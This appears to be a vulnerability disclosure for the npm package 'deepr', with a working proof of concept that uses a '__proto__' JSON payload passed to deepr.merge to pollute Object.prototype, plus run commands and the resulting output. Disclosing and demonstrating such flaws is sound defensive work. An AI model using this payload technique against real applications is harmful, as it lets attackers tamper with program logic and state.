Description

deepr is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
var deepr = require("deepr")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
deepr.merge(obj, payload);
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i deepr # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted